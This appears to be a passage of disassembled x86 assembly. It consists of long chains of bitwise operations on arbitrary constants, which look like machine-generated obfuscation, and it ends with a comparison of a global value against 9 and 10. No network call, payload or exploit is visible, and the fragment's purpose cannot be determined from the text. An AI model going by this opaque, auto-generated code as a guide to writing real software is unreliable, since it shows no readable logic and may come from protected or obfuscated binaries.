or ecx, edx
mov edx, esi
and esi, 1
and edx, 0xa9df3517
or edx, edi
xor edx, 0x5620cae9
or esi, edx
mov edx, ecx
and ecx, 0x5ec96259
mov edi, esi
not edx
mov ebx, edx
not edi
or edx, esi
and esi, 0xa1369da6
and edi, 0x5ec96259
and ebx, 0xa1369da6
not edx
or ecx, ebx
or edi, esi
mov ebx, eax
xor edi, ecx
xor ebx, 0xd60ddec0
or edx, edi
mov edi, eax
and ebx, eax
not eax
mov ecx, edx
and edx, 0xd65a2121
and eax, 0x293169fb
and edi, 0xd6ce9604
not ecx
or edi, eax
and ecx, 0x29a5dede
mov eax, edi
or edx, ecx
xor eax, 0xd6ce9604
mov ecx, edx
and edx, 0x29a5dede
mov dword [esp], eax
not ecx
and ecx, 0xd65a2121
or edx, ecx
mov ecx, edx
and edx, 0xa7e5e693
not ecx
and ecx, 0x581a196c
or ecx, edx
mov esi, ecx
xor ecx, 0x5018086c
xor esi, 0x23458693
and ecx, 0xd4b8686c
and esi, 0x2b479793
or esi, ecx
mov ecx, edi
xor edi, 0x293169fb
xor ecx, 0xff3cb73b
mov edx, esi
and ecx, eax
xor edx, 0x2b479793
mov ebp, ecx
and ebp, ebx
xor ebx, ecx
mov ecx, esi
xor esi, 0xfd4a4953
or ebx, ebp
mov ebp, esi
xor ecx, 0xd4b8686c
and esi, edx
and ebp, ecx
and ecx, 0x8a4c43e6
mov eax, ebp
and eax, esi
xor esi, ebp
or esi, eax
mov eax, ebx
not eax
and eax, esi
not esi
and esi, ebx
mov ebx, dword [esp]
or esi, eax
mov eax, edi
or edi, edx
and edx, 0x75b3bc19
and eax, 0x75b3bc19
or ecx, edx
not edi
and ebx, 0x8a4c43e6
or ebx, eax
xor ecx, ebx
or edi, ecx
mov ecx, esi
and esi, 0xd4a41d45
mov eax, edi
and edi, 0xb96b2508
not ecx
not eax
mov edx, ecx
and eax, 0x4694daf7
and edx, 0x2b5be2ba
or edi, eax
or esi, edx
mov eax, edi
xor edi, 0x4694daf7
xor eax, 0x90200500
or ecx, edi
and edi, 0x2b5be2ba
and eax, 0xd4a41d45
not ecx
or eax, edi
xor eax, esi
or ecx, eax
mov eax, ecx
mov edi, ecx
not eax
and edi, 0x4095994d
mov edx, eax
and edx, 0xbf6a66b2
or edi, edx
mov edx, eax
and eax, 0xa1d64d2d
xor edi, 0x4095994d
and edx, ecx
and ecx, 0x5e29b2d2
mov esi, edi
or ecx, eax
mov eax, ecx
and esi, edx
xor edx, edi
xor ecx, 0xa1d64d2d
or edx, esi
xor eax, 0x5e29b2d2
mov edi, edx
or ecx, eax
mov esi, edx
and edx, 0xd2403d8f
mov eax, ecx
not edi
and esi, 0xaefc7730
and ecx, 0x677395c8
not eax
and edi, 0x510388cf
or esi, edi
and eax, 0x988c6a37
or ecx, eax
mov edi, esi
mov eax, esi
xor esi, 0x510388cf
xor edi, 0xaefc7730
xor eax, 0x7cbc4abf
mov ebp, ecx
mov dword [esp], ecx
xor ecx, 0x4acc57b8
and eax, edi
mov dword [esp + 8], edi
xor ebp, 0x988c6a37
mov edi, eax
and edi, edx
xor edx, eax
or edx, edi
mov edi, ecx
and edi, ebp
and ebp, 0x891e8a36
mov eax, edi
and edi, 0x784da3ea
not eax
mov ebx, eax
and ebx, 0x87b25c15
or edi, ebx
mov ebx, dword [esp]
xor ebx, 0x677395c8
and ecx, ebx
mov dword [esp], ebx
mov ebx, ecx
and ecx, 0x784da3ea
not ebx
or eax, ebx
and ebx, 0x87b25c15
or ecx, ebx
not eax
xor ecx, edi
or eax, ecx
mov ecx, edx
and edx, 0xcf3dc951
not ecx
and ecx, 0x30c236ae
or edx, ecx
mov ecx, eax
and eax, 0xcf3dc951
not ecx
and ecx, 0x30c236ae
or eax, ecx
mov ecx, esi
xor eax, edx
mov edx, dword [esp + 8]
and ecx, 0x76e175c9
and edx, 0x891e8a36
or edx, ecx
mov ecx, dword [esp]
or esi, ecx
and ecx, 0x76e175c9
or ebp, ecx
not esi
xor ebp, edx
or esi, ebp
mov ecx, esi
and esi, 0x473555c0
not ecx
and ecx, 0xb8caaa3f
or esi, ecx
mov ecx, eax
and eax, 0xe6fc9247
mov edx, esi
not ecx
xor esi, 0xb8caaa3f
mov edi, ecx
xor edx, 0x46341040
or ecx, esi
and esi, 0x19036db8
and edx, 0xe6fc9247
and edi, 0x19036db8
not ecx
or eax, edi
or edx, esi
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, eax
and eax, 0x5d731ea7
and edx, ecx
and ecx, 0xa28ce158
or ecx, eax
mov eax, edx
and edx, 0x7666ca43
mov esi, ecx
not eax
xor ecx, 0xa28ce158
mov edi, eax
xor esi, 0x54620a03
or eax, ecx
and ecx, 0x899935bc
and esi, 0x7666ca43
and edi, 0x899935bc
not eax
or edx, edi
or esi, ecx
mov edi, dword [esp + 4]
xor esi, edx
or eax, esi
mov ecx, eax
and eax, 0xd404f69b
not ecx
mov edx, edi
and edi, 0xf6e790b0
and ecx, 0x2bfb0964
not edx
or eax, ecx
mov dword [esp], edx
and edx, 0x9186f4f
mov ecx, eax
and eax, 0xa5b15d9a
or edi, edx
not ecx
and ecx, 0x5a4ea265
or eax, ecx
mov ecx, eax
xor eax, 0x31a10101
xor ecx, 0x44a441e
and eax, 0xbba111e1
and ecx, 0x445eee1e
or ecx, eax
mov ebp, ecx
xor ecx, 0xa3010041
xor ebp, 0x441caa12
and ecx, 0xa343444d
and ebp, 0x5cbcbbb2
or ebp, ecx
mov eax, ebp
mov ebx, ebp
xor ebp, 0x80382709
xor eax, 0xa343444d
xor ebx, 0x5cbcbbb2
mov edx, eax
mov ecx, ebx
mov esi, eax
mov dword [esp + 0x14], eax
and edx, 0x7ff2b6d
and ecx, 0xf800d492
and esi, ebx
or ecx, edx
mov ebx, esi
and esi, 0xf3f04a43
mov edx, ecx
xor ecx, 0x7ff2b6d
not ebx
mov eax, ecx
xor edx, 0xf0004002
or ecx, ebx
and ebx, 0xc0fb5bc
and eax, 0xc0fb5bc
and edx, 0xf3f04a43
or esi, ebx
not ecx
or edx, eax
mov eax, dword [esp]
xor esi, edx
mov edx, edi
xor edi, 0x9186f4f
or ecx, esi
mov ebx, edi
mov esi, edi
mov dword [esp + 0xc], edi
mov edi, dword [esp + 4]
xor edx, 0xf6e790b0
mov dword [esp + 8], edx
and edx, 0xe34438da
and ebx, 0x1cbbc725
and esi, 0xdc849cbb
mov dword [esp + 0x10], ecx
and eax, 0x1888ed54
or ebx, edx
xor ebx, 0x3fc0a461
and edi, 0xe77712ab
or esi, ebx
mov ebx, ecx
or edi, eax
and ebx, 0x92107a64
mov edx, esi
and esi, 0xb16f12f5
mov eax, edi
xor edi, 0xc40c71ef
not edx
xor eax, 0x23730200
and edx, 0x4e90ed0a
and eax, 0x237b6344
or esi, edx
or edi, eax
mov eax, ecx
mov ecx, esi
xor esi, 0x8800502
not eax
xor ecx, 0xb16f12f5
mov edx, edi
and esi, 0x88810796
mov dword [esp], eax
and eax, 0x6def859b
not edx
or ebx, eax
mov eax, dword [esp + 0x14]
and edx, 0x777ef869
xor ebx, 0x4e94e6df
or ebx, dword [esp]
and eax, 0x237b6344
or ebp, eax
mov eax, ebp
and ebp, 0xdd0135b0
not eax
and eax, 0x22feca4f
or ebp, eax
mov eax, ecx
xor eax, edi
and edi, 0x88810796
and eax, ecx
and ecx, 0x777ef869
or edx, edi
or ecx, esi
mov esi, eax
and eax, 0xf3b601d7
not esi
xor edx, ecx
mov ecx, esi
and ecx, 0xc49fe28
or eax, ecx
mov ecx, edx
and edx, 0xf3b601d7
not ecx
or esi, ecx
and ecx, 0xc49fe28
or edx, ecx
mov ecx, ebx
not esi
xor edx, eax
mov eax, ebx
xor ebx, 0xcdabd287
and ecx, 0x600e31bc
not eax
or esi, edx
and ebx, eax
and eax, 0x9ff1ce43
mov dword [esp + 4], esi
mov esi, ebp
or eax, ecx
mov ecx, ebp
xor esi, 0xdd0135b0
xor ebp, 0xef5518c8
xor ecx, 0xcec04e
and ebp, esi
and esi, 0x36313ea1
mov edx, eax
and ecx, 0xc9cec15e
xor edx, 0x9ff1ce43
or esi, ecx
mov ecx, eax
mov dword [esp + 0x14], edx
xor eax, 0x600e31bc
xor ecx, 0x525a1cc4
and ecx, edx
mov edx, ecx
and edx, ebx
xor ebx, ecx
mov ecx, esi
or ebx, edx
mov edx, esi
xor ecx, 0x36313ea1
xor esi, 0xc9cec15e
xor edx, 0xfb9aec26
and edx, ecx
and ecx, 0x5eb13578
mov edi, edx
and edi, ebp
xor ebp, edx
mov edx, ebx
and ebx, 0x74096da5
not edx
or ebp, edi
mov edi, dword [esp + 0x14]
and edx, 0x8bf6925a
or ebx, edx
mov edx, ebp
and ebp, 0x74096da5
not edx
and edx, 0x8bf6925a
and edi, 0x5eb13578
or ebp, edx
mov edx, eax
or eax, esi
and esi, 0xa14eca87
and edx, 0xa14eca87
or ecx, esi
not eax
xor ebp, ebx
mov esi, dword [esp + 4]
or edi, edx
mov edx, ebp
and ebp, 0xc5d903e6
xor ecx, edi
not edx
mov edi, dword [esp]
or eax, ecx
mov ecx, eax
and eax, 0xf46fa686
not ecx
and ecx, 0xb905979
or eax, ecx
mov ecx, edx
and ecx, 0x3a26fc19
or ebp, ecx
mov ecx, eax
xor eax, 0xb905979
xor ecx, 0xc4490286
or edx, eax
and eax, 0x3a26fc19
and ecx, 0xc5d903e6
not edx
or ecx, eax
mov eax, esi
xor ecx, ebp
not eax
or edx, ecx
mov ecx, esi
and eax, 0x9a02930
and esi, 0xf249d48f
and ecx, 0x4160240
or ecx, eax
mov eax, edx
xor ecx, 0x4160240
not eax
or esi, ecx
mov ecx, edx
and edx, 0xf249d48f
xor ecx, 0xdb62b70
and ecx, eax
mov eax, ecx
and eax, edx
xor edx, ecx
mov ecx, dword [esp + 8]
or edx, eax
mov eax, esi
not eax
and eax, edx
not edx
and edx, esi
mov esi, dword [esp + 0xc]
or edx, eax
mov eax, ecx
xor eax, edi
and edi, 0x500692b5
and eax, ecx
and ecx, 0xaff96d4a
and esi, 0x500692b5
or ecx, esi
mov esi, edi
mov edi, dword [esp + 0x10]
and edi, 0xaff96d4a
or edi, esi
xor edi, ecx
mov ecx, eax
and ecx, edi
xor edi, eax
or edi, ecx
mov ecx, edi
or edi, 0x8b101001
not ecx
and edi, 0xbbd4b04b
mov esi, ecx
and ecx, 0x2b4194
or esi, 0x30efe1de
or ecx, edi
mov eax, esi
and esi, 0xbbd4b04b
not eax
and eax, 0x44000e20
or eax, esi
mov esi, edx
xor eax, ecx
and esi, 0xe92816f6
mov ecx, eax
and eax, 0x1164eb62
not ecx
and ecx, 0xee9b149d
or eax, ecx
mov ecx, eax
xor eax, 0xc606040
xor ecx, 0x1800210
and eax, 0x2c6b68ec
and ecx, 0xd3949713
or eax, ecx
mov ecx, edx
and edx, 0x68852ba2
not ecx
and ecx, 0x16d7e909
or esi, ecx
mov ecx, eax
xor eax, 0xbb11bcb1
xor esi, 0xe92816f6
xor ecx, 0xd3949713
mov ebx, esi
mov edi, ecx
and eax, ecx
and ebx, ecx
xor ecx, esi
and esi, 0x977ad45d
or edi, 0x977ad45d
or edx, esi
mov esi, eax
and eax, 0x46c15f79
or ecx, ebx
not esi
mov ebp, esi
or esi, edi
and ebp, 0xb93ea086
not esi
or eax, ebp
mov ebp, edi
and edi, 0xb93ea086
not ebp
and ebp, 0x40810b20
or ebp, edi
xor ebp, eax
mov eax, edx
or esi, ebp
not eax
and eax, esi
not esi
and esi, edx
or esi, eax
mov eax, ecx
and ecx, 0x36c3d045
not eax
mov edi, esi
and esi, 0x9b28bbbd
and eax, 0xc93c2fba
not edi
or ecx, eax
mov edx, edi
mov eax, ecx
xor ecx, 0xc93c2fba
and edx, 0x64d74442
xor eax, 0x12009005
or edi, ecx
and ecx, 0x64d74442
or esi, edx
and eax, 0x9b28bbbd
not edi
or eax, ecx
xor eax, esi
or edi, eax
mov ecx, edi
mov edx, edi
mov dword [esp], edi
not ecx
and edx, 0x54ca96d3
mov eax, ecx
mov ebx, ecx
mov esi, ecx
mov dword [esp + 4], ecx
and ecx, edi
and eax, 0xab35692c
and ebx, 0x52c77c33
or edx, eax
xor edx, 0x54ca96d3
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
and ecx, 0x3dbbc750
not eax
and eax, 0xc24438af
or ecx, eax
mov eax, edi
mov edx, ecx
mov esi, ecx
xor ecx, 0x9a446a66
and eax, 0xad3883cc
xor edx, 0x2c9b4440
xor esi, 0xc24438af
or eax, ebx
and ecx, esi
and edx, 0xac9f74e1
and esi, 0x53608b1e
mov ebx, eax
xor eax, 0x52c77c33
or esi, edx
xor ebx, 0xad3883cc
mov dword [esp + 8], esi
xor esi, 0xac9f74e1
or eax, ebx
mov ebp, esi
mov ebx, eax
or ebp, 0xa7ffad36
not ebx
mov edx, ebp
mov edi, ebp
not edx
and edi, 0x1f917dcc
and edx, 0x40000201
or edx, edi
mov edi, ecx
and ecx, 0xe06e8233
not edi
or ebp, edi
and edi, 0x1f917dcc
or ecx, edi
not ebp
xor ecx, edx
or ebp, ecx
mov ecx, eax
xor ecx, 0xa7ffad36
mov edi, ecx
and ecx, ebx
and edi, eax
and eax, 0x93a814f
mov edx, edi
and edx, ecx
xor ecx, edi
mov edi, dword [esp + 8]
or ecx, edx
mov edx, ebp
and ebp, 0x1bb203ec
not edx
and edx, 0xe44dfc13
or ebp, edx
mov edx, ecx
and ecx, 0x1bb203ec
xor edi, 0x120810e
not edx
and edi, 0x93a814f
and edx, 0xe44dfc13
or ecx, edx
mov edx, esi
or esi, ebx
and ebx, 0xf6c57eb0
and edx, 0xf6c57eb0
or eax, ebx
not esi
xor ecx, ebp
mov ebx, dword [esp + 4]
or edi, edx
xor eax, edi
or esi, eax
mov eax, ecx
not esi
and eax, esi
xor esi, ecx
or esi, eax
mov ecx, esi
mov eax, esi
xor ecx, 0x482d0e23
and eax, 0x90a21
and ecx, esi
not esi
and esi, 0x48240402
or eax, esi
xor eax, 0x90a21
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
and ecx, 0x482d0e23
not eax
and eax, 0xb7d2f1dc
or ecx, eax
mov eax, ecx
xor eax, 0xf499a888
and eax, ecx
not ecx
and ecx, 0xf499a888
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
and ecx, 0xf499a888
not eax
mov edx, eax
and edx, 0xb665777
or ecx, edx
mov edx, dword [esp]
not ecx
or ecx, eax
mov eax, ebx
and ebx, 0xb665777
and eax, 0xf499a888
mov ebp, ecx
and edx, 0xf499a888
not ebp
or ebx, edx
mov edx, eax
mov dword [esp + 0xc], ebp
and edx, ebx
xor ebx, eax
or ebx, edx
mov edx, ebx
mov eax, ebx
xor edx, 0x76996f9b
not eax
and edx, ebx
or ebx, 0x89669064
and eax, 0x7491620a
mov esi, edx
mov edi, ebx
and edx, 0xf4b5e24a
not esi
and edi, 0xb4a1db5
or ebx, esi
and esi, 0xb4a1db5
or eax, edi
mov edi, ecx
or edx, esi
not ebx
mov esi, ebp
and edi, 0x307aaf3d
xor edx, eax
and esi, 0xcf8550c2
or ebx, edx
or edi, esi
mov esi, ebp
mov eax, ebx
and ebx, 0x76996f9b
not eax
and eax, 0x89669064
or ebx, eax
mov eax, ecx
and eax, ebp
mov edx, eax
and eax, 0x307aaf3d
not edx
or esi, edx
and edx, 0xcf8550c2
or eax, edx
mov edx, ebx
not esi
xor eax, edi
not edx
or esi, eax
mov eax, ebx
mov dword [esp + 0x10], edx
and edx, 0x1c821c0
and eax, 0x233080c
mov ebp, esi
or eax, edx
mov dword [esp], ebp
mov edx, eax
xor eax, 0xfdccf7f3
xor edx, 0x2030800
mov esi, eax
and esi, 0x75fcd64d
and edx, 0x2032980
or edx, esi
mov esi, ebx
xor esi, 0x3fb29cc
and esi, ebx
and ebx, 0xbae3fbb2
mov edi, esi
and esi, 0x8a0329b2
not edi
or eax, edi
and edi, 0x75fcd64d
or esi, edi
not eax
mov edi, ebp
xor esi, edx
and edi, 0xf3c4aa1d
or eax, esi
mov esi, ebp
mov edx, eax
not esi
and eax, 0x3fb29cc
not edx
mov dword [esp + 4], esi
and edx, 0xfc04d633
or eax, edx
mov edx, esi
and edx, 0xc3b55e2
mov dword [esp + 8], eax
or edi, edx
mov edx, ecx
xor edi, 0xb6d8ae50
and edx, 0x451c044d
mov ebp, edi
xor ebp, esi
mov esi, dword [esp + 0xc]
and ebp, edi
mov edi, eax
not edi
mov dword [esp + 0xc], edi
and edi, 0x45097fb1
and esi, 0xbae3fbb2
or esi, edx
mov edx, eax
mov eax, dword [esp + 0x10]
and edx, 0xbaf6804e
xor ecx, esi
or edx, edi
and ecx, esi
mov esi, ebp
mov edi, edx
xor edx, 0x157bfc
not esi
xor edi, 0xbae28002
and edi, 0xbae3fbb2
or edx, edi
mov edi, edx
and edx, 0x4544da5
not edi
and edi, 0xfbabb25a
or edx, edi
mov edi, eax
and edi, 0x451c044d
or ebx, edi
mov edi, ecx
and ecx, esi
not edi
xor eax, ebx
or esi, edi
and edi, ebp
and eax, ebx
mov ebp, edx
xor edx, 0xfbabb25a
not esi
or edi, ecx
mov ebx, eax
xor ebp, 0x1045a5
mov ecx, esi
and ebx, 0xe7462848
or ebp, 0xe7462848
and ecx, edi
xor edi, esi
mov esi, eax
or edi, ecx
mov ecx, eax
and esi, 0x45328920
mov eax, edx
not ecx
or eax, 0x18b9d7b7
and ecx, 0xbacd76df
or esi, ecx
xor esi, 0x45328920
mov ecx, esi
and ecx, 0x18b9d7b7
or ebx, ecx
mov ecx, ebp
and ebp, 0xb63ca44
not ecx
and ecx, 0x109815b3
or ecx, ebp
mov ebp, edx
and ebp, esi
xor esi, edx
mov edx, eax
and eax, 0xb63ca44
not edx
or esi, ebp
and edx, 0xe4042008
not esi
or edx, eax
xor edx, ecx
mov ecx, ebx
mov eax, edx
and edx, 0x3a683c0c
and ecx, 0x3a683c0c
not eax
and eax, 0xc597c3f3
or edx, eax
mov eax, ebx
mov ebx, dword [esp + 0xc]
not eax
and eax, 0xc597c3f3
or ecx, eax
xor ecx, edx
mov eax, ecx
and eax, esi
xor esi, ecx
or esi, eax
mov eax, esi
and esi, 0xf0cd0b66
not eax
mov ebp, eax
and eax, 0xf32f499
or ebp, edi
or esi, eax
not edi
mov eax, ebp
xor esi, 0xf32f499
mov edx, ebp
not eax
or esi, edi
and edx, 0xb3b0b07
and eax, 0xf4c4f4f8
or ebp, esi
or eax, edx
mov edx, esi
and esi, 0xb3b0b07
not ebp
not edx
and edx, 0xf4c4f4f8
or edx, esi
xor edx, eax
mov eax, dword [esp + 4]
or ebp, edx
mov dword [esp + 0x10], ebp
mov esi, eax
and eax, 0x6b578894
mov edi, eax
mov eax, dword [esp]
or esi, ebx
and ebx, 0x6b578894
mov edx, esi
not edx
and edx, 0xf2359a10
and eax, 0x94a8776b
or eax, edi
mov edi, dword [esp + 8]
and edi, 0x94a8776b
or edi, ebx
xor edi, eax
mov eax, edi
mov ebx, edi
mov edi, esi
not eax
and edi, 0xdca65ef
and ebx, 0xf2359a10
or esi, eax
and eax, 0xdca65ef
or edx, edi
or ebx, eax
not esi
xor ebx, edx
or esi, ebx
mov edx, esi
xor edx, 0x636b2695
and edx, esi
not esi
and esi, 0x636b2695
mov eax, esi
and eax, edx
xor edx, esi
or edx, eax
mov eax, edx
and edx, 0x95be1188
not eax
and eax, 0x6a41ee77
or edx, eax
mov eax, ebp
mov ecx, edx
xor edx, 0x92ac8e2
mov ebx, eax
mov esi, edx
xor ecx, 0x72d11011
xor ebx, 0xb9843290
or edx, 0xb9843290
and esi, 0x8c06afec
and ecx, 0x73f95013
and ebx, eax
or ecx, esi
mov esi, ebp
or esi, 0x467bcd6f
mov ebp, esi
mov edi, esi
not ebp
and edi, 0xcd00b02
and ebp, 0xb1043090
or ebp, edi
mov edi, ebx
and ebx, 0xf32ff4fd
not edi
or esi, edi
and edi, 0xcd00b02
or ebx, edi
mov edi, ecx
not esi
xor ebx, ebp
mov ebp, ecx
xor edi, 0x73f95013
xor ecx, 0x8c06afec
xor ebp, 0x35829d7c
or esi, ebx
and ebp, edi
and edi, 0xe82d3744
mov ebx, ebp
and ebp, 0x874eec99
not ebx
mov eax, ebx
or ebx, edx
and eax, 0x78b11366
not ebx
or ebp, eax
mov eax, edx
and edx, 0x78b11366
not eax
and eax, 0x64acc09
or eax, edx
xor eax, ebp
mov ebp, dword [esp + 0x10]
or ebx, eax
mov eax, esi
and esi, 0xeed6d40c
not eax
and eax, 0x11292bf3
or esi, eax
mov eax, ebx
and ebx, 0xeed6d40c
mov edx, ebp
not eax
not edx
and eax, 0x11292bf3
and edx, 0xe82d3744
or ebx, eax
mov eax, ebp
xor ebx, esi
mov esi, ebp
and eax, 0x17d2c8bb
or esi, ecx
and ecx, 0x17d2c8bb
or edx, eax
mov eax, ebx
or edi, ecx
mov ecx, esi
xor edi, edx
not ecx
or ecx, edi
not ecx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
mov eax, ecx
not edx
mov ecx, edx
mov esi, edx
and ecx, eax
and eax, 0x27265845
and esi, ecx
xor ecx, edx
and edx, 0xd8d9a7ba
or ecx, esi
or eax, edx
mov esi, ecx
and ecx, 0x2eb77a5
mov edx, eax
xor eax, 0x2c400f32
not esi
xor edx, 0x3265045
and esi, 0xfd14885a
and edx, 0xb665777
or ecx, esi
or eax, edx
mov esi, ecx
xor ecx, 0xf672df2d
mov edx, eax
and eax, 0xb54f15aa
xor esi, 0x892080
not edx
and esi, 0xf499a888
and edx, 0x4ab0ea55
or ecx, esi
or eax, edx
mov esi, ecx
and ecx, 0x697cfb2b
mov edx, eax
xor eax, 0x4ab0ea55
not esi
xor edx, 0xb54f15aa
and esi, 0x968304d4
or ecx, esi
mov esi, ecx
xor ecx, 0x968304d4
xor esi, 0x697cfb2b
and edx, ecx
or ecx, eax
and eax, esi
mov edi, ecx
mov esi, ecx
or eax, edx
not edi
and esi, 0xdbee88d6
mov edx, eax
and edi, 0x24117729
and eax, 0x24117729
not edx
or edi, esi
or ecx, edx
and edx, 0xdbee88d6
or eax, edx
not ecx
xor eax, edi
or ecx, eax
mov esi, ecx
mov eax, ecx
not esi
and eax, 0xd65dfa6
mov edx, esi
mov edi, esi
mov dword [esp], esi
and edx, 0xf29a2059
or edx, eax
mov eax, edx
xor edx, 0x9241520
xor eax, 0xf29a2059
and edx, 0xba63579
mov esi, eax
and esi, 0xf459ca86
or esi, edx
xor esi, 0xf459ca86
or esi, eax
mov edx, esi
mov eax, esi
xor esi, 0xf219f334
not edx
and eax, 0x68976ca1
and esi, edx
and edx, 0x9768935e
or edx, eax
mov eax, edi
mov edi, ecx
and ecx, 0x725f8751
mov ebx, edx
mov ebp, edx
and eax, 0x30f797f9
and edi, 0xcf086806
xor edx, 0x68976ca1
xor ebx, 0x9768935e
xor ebp, 0x6571606a
or edi, eax
and ebp, ebx
mov dword [esp + 4], ebx
mov eax, edi
mov ebx, ebp
and ebp, 0xea66357b
mov dword [esp + 8], eax
not ebx
mov edi, ebx
and edi, 0x1599ca84
or ebp, edi
mov edi, esi
and esi, 0xea66357b
not edi
or ebx, edi
and edi, 0x1599ca84
or esi, edi
mov edi, eax
not ebx
xor esi, ebp
mov ebp, eax
xor edi, 0x3d119b32
mov eax, dword [esp]
xor ebp, 0xcf086806
or ebx, esi
and edi, ebp
mov dword [esp + 0xc], ebx
and ebp, 0xa1c7e976
mov esi, edi
and edi, 0x9a86659d
not esi
or eax, 0xde60ccb
mov ebx, esi
or esi, eax
and ebx, 0x65799a62
not esi
or edi, ebx
mov ebx, eax
and eax, 0x65799a62
not ebx
and ebx, 0x92006114
or ebx, eax
xor ebx, edi
mov edi, dword [esp + 0xc]
or esi, ebx
mov eax, edi
not eax
and eax, esi
not esi
and esi, edi
mov edi, dword [esp + 4]
or esi, eax
mov eax, edx
and eax, 0x5e381689
and edi, 0xa1c7e976
or edi, eax
mov eax, dword [esp + 8]
xor eax, 0x30f797f9
or edx, eax
and eax, 0x5e381689
or ebp, eax
not edx
xor ebp, edi
mov edi, esi
and esi, 0x3bbceba
or edx, ebp
not edi
mov ebp, dword [0x4d0db8]
mov eax, edx
and edx, 0xa581a4ae
not eax
and eax, 0x5a7e5b51
or edx, eax
mov eax, edi
and eax, 0xfc443145
or esi, eax
mov eax, edx
xor edx, 0x5a7e5b51
xor eax, 0x18184aa
or edi, edx
and edx, 0xfc443145
and eax, 0x3bbceba
not edi
or eax, edx
xor eax, esi
or edi, eax
mov eax, dword [esp]
and eax, 0x8da078ae
or ecx, eax
mov eax, ecx
and ecx, 0x8da078ae
not eax
and eax, 0x725f8751
or ecx, eax
mov eax, edi
mov edx, ecx
mov esi, ecx
not eax
xor edx, edi
not esi
and eax, 0xcdebcaae
and edx, ecx
and esi, 0x6f184bf5
and ecx, 0x90e7b40a
or ecx, esi
mov esi, edx
xor ecx, edi
xor ecx, 0x6f184bf5
and ecx, edi
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
mov esi, ecx
or ecx, edi
and edi, 0x32143551
not edx
and esi, 0x32143551
or eax, edi
not ecx
and edx, 0xcdebcaae
or edx, esi
mov esi, 0xbf62816d
xor eax, edx
or ecx, eax
cmp ecx, 0xffffffff
setne byte [esp]
sete byte [esp + 0xc]
cmp ebp, 0xa
setl dl
cmp ebp, 9
setg al
mov byte [esp + 4], dl
mov ah, al
xor ah, dl
and al, ah
mov bh, ah
mov edx, eax
mov ch, al
xor bh, 1
xor dl, 1
mov dh, bh
and ch, dl
xor dh, ah
or ah, bh
xor ch, 1
and dh, bh
mov byte [esp + 0x14], ah
mov cl, ch
or ch, dl
xor cl, dl
xor ch, 1
or dl, al
or ch, cl
xor dl, 1
mov al, ch
and al, dl
xor dl, ch
mov ch, dh
or dl, al
mov al, dh
xor al, 1
and ch, al
mov cl, ch
xor ch, dh
and cl, dh
mov dh, ah
xor dh, 1
or ch, cl
mov bl, dh
and bl, ah
xor dh, bl
xor bl, 1
mov byte [esp + 8], bl
or bl, ah
xor bl, 1
or dh, bl
mov byte [esp + 0x10], bl
mov cl, dh
xor cl, 1
and cl, ch
xor ch, 1
and ch, dh
or ch, cl
mov cl, ah
and cl, al
xor al, ah
mov ah, byte [esp]
or al, cl
mov cl, ch
xor al, 1
and cl, al
xor al, ch
mov ch, dl
or al, cl
mov cl, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ch, cl
or cl, dl
mov edx, eax
xor cl, 1
xor dl, 1
or cl, ch
and al, dl
mov ch, dl
and ch, al
xor al, dl
mov edx, ecx
or al, ch
xor dl, 1
and dl, al
xor al, 1
and al, cl
or al, dl
mov dl, byte [esp + 4]
xor bh, dl
and dl, bh
xor bh, 1
mov ecx, edx
and cl, bh
xor bh, dl
mov dl, byte [esp + 0xc]
or bh, cl
xor bh, al
mov cl, bh
and bh, al
xor dl, ah
xor cl, 1
mov al, bh
and al, cl
xor bh, cl
and ah, dl
or bh, al
mov al, dl
mov cl, ah
and dl, ah
not cl
xor al, 1
mov ch, bh
and cl, al
mov byte [esp + 4], ch
or cl, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
and dl, al
xor al, cl
or al, dl
mov cl, al
mov ah, al
xor cl, 1
mov edx, ecx
xor ah, cl
and dl, al
and ah, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
and cl, dl
xor ah, cl
mov al, ah
xor al, 1
and cl, al
mov edx, ecx
xor cl, ah
xor dl, 1
or dl, al
mov al, ch
xor dl, 1
or dl, cl
mov bh, dl
mov dl, ch
xor dl, 1
mov byte [esp + 0xc], bh
xor al, dl
mov cl, dl
mov byte [esp], dl
and al, ch
and cl, ch
mov edx, eax
xor dl, 1
and dl, al
mov ah, dl
xor dl, al
and ah, al
or dl, ah
mov ah, cl
xor ah, 1
and ah, dl
xor dl, 1
and dl, cl
or dl, ah
mov ah, cl
xor ah, al
or al, cl
mov ecx, edx
xor al, 1
or al, ah
xor al, 1
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
mov edx, eax
mov ch, al
mov bl, al
xor cl, 1
or dl, cl
mov ah, dl
xor ch, dl
and dl, cl
xor ah, 1
and bl, ah
or ah, cl
or bl, dl
xor ah, 1
xor bl, 1
or ah, ch
mov edx, ebx
or bl, ah
xor dl, ah
xor bl, 1
or bl, dl
mov edx, ebx
xor dl, 1
and bl, dl
mov ah, dl
and ah, bl
xor bl, dl
mov edx, eax
or bl, ah
and dl, cl
xor cl, al
mov eax, ebx
or cl, dl
xor al, 1
mov ah, cl
mov edx, ecx
xor cl, al
mov ch, al
and al, bl
xor ah, 1
xor ch, al
xor al, 1
and dl, ah
or al, bl
xor dl, 1
xor al, 1
or al, ch
mov ch, ah
xor ch, dl
or dl, ah
or ah, bl
xor dl, 1
xor ah, 1
or dl, ch
or ah, cl
xor dl, al
xor ah, 1
mov al, dl
and al, ah
xor ah, dl
or ah, al
mov ch, ah
mov al, ah
mov dh, ah
mov bl, ah
xor ch, 1
or al, ch
mov cl, al
mov dl, al
and dh, al
xor cl, 1
and cl, al
and dl, cl
xor cl, al
xor al, ah
and ah, ch
xor bl, ah
xor ah, 1
or cl, dl
or al, dh
or ah, ch
xor al, 1
xor ah, 1
or ah, bl
mov bl, bh
mov dl, ah
xor bl, 1
xor dl, 1
and dl, cl
xor cl, 1
and cl, ah
